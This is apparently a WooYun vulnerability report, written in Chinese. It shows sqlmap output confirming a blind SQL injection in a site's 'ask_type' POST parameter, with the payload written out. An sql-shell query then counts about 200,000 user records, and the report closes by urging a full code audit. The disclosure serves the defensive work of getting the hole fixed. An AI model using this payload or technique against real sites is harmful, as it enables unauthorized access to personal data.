WooYun.org

看看有多少用户数据
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ask_type (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ask_type=%e5%95%86%e5%93%81%e5%92%a8%e8%af%a2' AND 4226=4226 AND 'iNRe'='iNRe&page=1&total=12
---
[08:17:51] [INFO] testing MySQL
[08:17:51] [INFO] confirming MySQL
[08:17:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[08:17:51] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from ocsprd.sdb_ome_members
[08:18:22] [INFO] fetching SQL SELECT statement query output: 'select count(*) from ocsprd.sdb_ome_members'
[08:18:22] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[08:18:22] [INFO] retrieved:
[08:18:22] [WARNING] reflective value(s) found and filtering out
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in futher requests? [Y/n]
199814
select count(*) from ocsprd.sdb_ome_members: '199814'
sql-shell>
接近20w的数据，还是那句话，彻查代码，肯定还有其他地方存在注入！